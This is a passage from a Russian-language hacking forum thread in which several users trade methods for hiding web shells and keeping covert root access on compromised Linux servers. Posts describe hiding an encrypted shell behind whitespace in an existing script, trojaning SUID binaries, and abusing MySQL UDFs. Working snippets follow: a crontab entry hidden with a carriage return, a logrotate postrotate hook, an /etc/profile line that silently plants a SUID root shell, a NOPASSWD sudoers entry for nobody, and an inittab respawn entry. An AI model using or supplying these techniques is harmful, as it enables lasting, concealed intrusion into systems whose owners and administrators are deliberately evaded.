Старый 19.02.2012, 15:44   #11
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

Цитата:
Сообщение от b3 Посмотреть сообщение
Интересны ваши идеи по скрытию шела, бэкдора.
всунуть шел в середину существующего скрипта (выбрав его умнО по совокупности признаков) на серваке одной зашифрованной строкой с отступом в 200 пробелов. шел вызывать только при указании парольного MagicCookie или заголовка, иначе никаких действий - стандартная работа исходного скрипта.
сделать так, чтобы его нельзя было найти используя советы наподобие этого
т.е., в частности, использовать свой способ расшифровки шела используя методы a la отсюда

вставить в плюс к шелу еще и маленький бэкдор по тому же принципу что и шел, в скрипт, относящийся к другой системе скриптов (т.е. например !другая! cms, админка, ...) только без 200 пробелов, а прямо в код скрипта так, чтоб от там выглядел как родной. при этом, если использовать "шифровку" бэкдора, то применять метод отличный от того, что использовался при шифровке шела чтоб при обнаружении одного по аналогии не нашли сразу другой.

Последний раз редактировалось DrakonHaSh; 19.02.2012 в 16:06..
DrakonHaSh вне форума   Ответить с цитированием
Старый 02.08.2012, 22:06   #12
Untitled
 
Аватар для Untitled
 
Регистрация: 24.06.2012
Сообщений: 131
Репутация: 30
По умолчанию

Что дольше живет: созданный второй пользователь с uid/gid=0 или модифицированный системный пользователь, опять же, с uid/gid=0? Какие-то способы сделать это менее палевным?

Часто в кроне можно найти скрипты, чекающие текущие системные файлы (/etc/passwd и подобные) с соответствующим бэкапом (и не только). Конечно, можно аккуратно все подменить, но иногда с этим надо долго возиться. Какие альтернативные варинты? Отредактировать сам скрипт, убрать его вообще из крона?
Untitled вне форума   Ответить с цитированием
Старый 02.08.2012, 23:05   #13
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

имхо лучше троянить суидный софт, чем создавать юзера. новый юзер - куда большее палево
12309 вне форума   Ответить с цитированием
Старый 03.08.2012, 04:08   #14
16bit
 
Регистрация: 16.06.2011
Сообщений: 66
Репутация: 9
По умолчанию

создавать юзера/логиниться под реальным юзером по ссш - это махать флагом руту - 'куку,я тут'
16bit вне форума   Ответить с цитированием
Старый 03.08.2012, 12:18   #15
Untitled
 
Аватар для Untitled
 
Регистрация: 24.06.2012
Сообщений: 131
Репутация: 30
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
имхо лучше троянить суидный софт, чем создавать юзера. новый юзер - куда большее палево
Много ли суидного софта, доступного извне, который можно без проблем пропатчить?

Цитата:
Сообщение от 16bit Посмотреть сообщение
создавать юзера/логиниться под реальным юзером по ссш - это махать флагом руту - 'куку,я тут'
Альтернативы (кроме патчинга)?
Untitled вне форума   Ответить с цитированием
Старый 03.08.2012, 15:50   #16
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

> Много ли суидного софта, доступного извне, который можно без проблем пропатчить?

find / -user root -perm -4000 -print
выбирай любой
12309 вне форума   Ответить с цитированием
Старый 03.08.2012, 16:37   #17
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

создать юзера в mysql с удалённым доступом, прикрутить функции для выполнения кода (где-то тут на форуме была тема, поищи по слову UDF), из мускула вызывать сделанный суидник, профит.
12309 вне форума   Ответить с цитированием
Старый 29.09.2012, 17:20   #18
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Вчера пол ночи мучился с tmpfiles.d, как идея для закрепления. Смысл таков:

Цитата:
tmpfiles.d - Configuration for creation, deletion and cleaning of volatile and temporary files
Цитата:
Type:
f
Create a file if it doesn't exist yet (optionally writing a short string into
it, if the argument parameter is passed
)
То есть, мы можем сделать так что бы файл создавался с нужным нам содержимым в нужном нам месте:
Цитата:
[root@vbox tmpfiles.d]# tail -n1 systemd.conf
F /run/nologin 0755 - - - "System is booting up."
Все работает ОК, нужен ребут. Перезапуск службы не помогает. По крайней мере у меня на system.d в archinux

ЗЫ Вот еще интересный способ спрятаться в кронтабе: http://vladz.devzero.fr/004_hide-crontab.php
На случай если ресурс умрет, копипаста:

Here is an easy way to hide a task inside a crontab by using the carriage return character ('\r'), example (using cron version 3.0pl1-109):
Цитата:
$ crontab -l
no crontab for alice
$ printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab -

// new task (command ">/tmp/x") is hidden
$ crontab -l
no crontab for alice

// and it also looks hidden for root
# crontab -l -u alice
no crontab for alice

[ and one minute later ... ]

# ls -l /tmp/x
-rw-r--r-- 1 alice alice 0 juin 2 22:27 /tmp/x

Последний раз редактировалось b3; 06.01.2013 в 04:11..
b3 вне форума   Ответить с цитированием
Старый 06.01.2013, 15:26   #19
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Еще способ закрепиться через logrotate кто-то где-то писал, не могу найти.

man logrotate

Цитата:
The sharedscripts means that the postrotate script will only be run once (after the
old logs have been compressed), not once for each log which is rotated. Note that log file names may be enclosed in
quotes (and that quotes are required if the name contains spaces). Normal shell quoting rules apply, with ', ", and \
characters supported.

Цитата:
[19:22][root@debian-webserver386][/etc/logrotate.d]# logrotate -f apache2
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
[19:22][root@debian-webserver386][/etc/logrotate.d]# la /tmp/
итого 20K
drwxrwxrwt 4 root root 4,0K Янв 6 19:22 .
drwxr-xr-x 21 root root 4,0K Дек 10 16:15 ..
drwxrwxrwt 2 root root 4,0K Янв 6 19:11 .ICE-unix
drwxrwxrwt 2 root root 4,0K Янв 6 19:11 .X11-unix
-rw-r--r-- 1 root root 4 Янв 6 19:22 x3k
[19:22][root@debian-webserver386][/etc/logrotate.d]# cat /tmp/x3k
x3k
[19:23][root@debian-webserver386][/etc/logrotate.d]# cat apache2
/var/log/apache2/*.log {
weekly
missingok
rotate 52
compress
delaycompress
notifempty
create 640 root adm
sharedscripts
postrotate
/etc/init.d/apache2 reload > /dev/null && echo x3k >> /tmp/x3k
endscript
}
b3 вне форума   Ответить с цитированием
Старый 14.01.2013, 14:51   #20
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Способ закрепления в системе через /etc/profile

Выдержка из bash(1)
Цитата:
When bash is invoked as an interactive login shell, or as a non-interactive shell with the --login option, it first reads
and executes commands from the file /etc/profile, if that file exists. After reading that file, it looks for
~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that
exists and is readable. The --noprofile option may be used when the shell is started to inhibit this behavior.
Смысл в том что /etc/profile грузиться первее чем .profile из хома, и думаю менее паливнее писаться в него.
Цитата:
# cat /etc/profile
Код:
...
if [ "`id -u`" -eq 0 ]; then
  PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
...
Проверка на uid = 0. У рута свой $PATH, вот сюда и забэкдоримся.
Пример:
Код:
...
if [ "`id -u`" -eq 0 ]; then
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
cp /bin/sh /var/tmp/sh 2>/dev/null && chmod 4755 /var/tmp/sh 2>/dev/null # silent mode
else
...
Способ закрепления в системе через /etc/sudoers
Данный метод конечно более паливный чем предыдущий, но может пригодиться.
Если к примеру имеем шелл от nobody (или www, apache не важно) добавим пользователя в /etc/sudoers
Цитата:
[root@home /]# echo 'nobody ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
[root@home /]# usermod -s /bin/bash nobody
[root@home /]# su - nobody
[nobody@home /]$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
[nobody@home /]$ sudo id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(di sk),10(wheel),19(log)
[nobody@home /]$
PS usermod -s /bin/bash nobody делать не стоит, это я на локалке для теста дал шелл, на вэб-шеле такие махинации не нужны.

И "сложный" метод закрепления в системе это через /etc/inittab
Метод очень специфичный т.к. тут речь будет идти о удерживании вашего демона в процессах.
Код:
0d:12345:respawn:/usr/bin/evil_daemon
Таким образом при завершении процесса init будет Респавнить (перезапускать) его. Подробности в INITTAB(5)
ВАЖНО: изменения вступят в силу после ребута, но можно воспользоваться килом чтобы init перечитал конфиг:
Код:
kill -HUP 1
Способ хорош тем что такие файлы особо не перепроверяются админами.

Способ закрепления в системе через /etc/apache2/envvars
Скрипт содержит переменные окружения для Apache, запускается от рута при старте/рестарте вэб-сервера. Сам старт/рестарт происходит чаще чем казалось бы, потому как есть logrotate о котором я писал выше в теме.
Синтаксис bash все предельно примитивно.
b3 вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot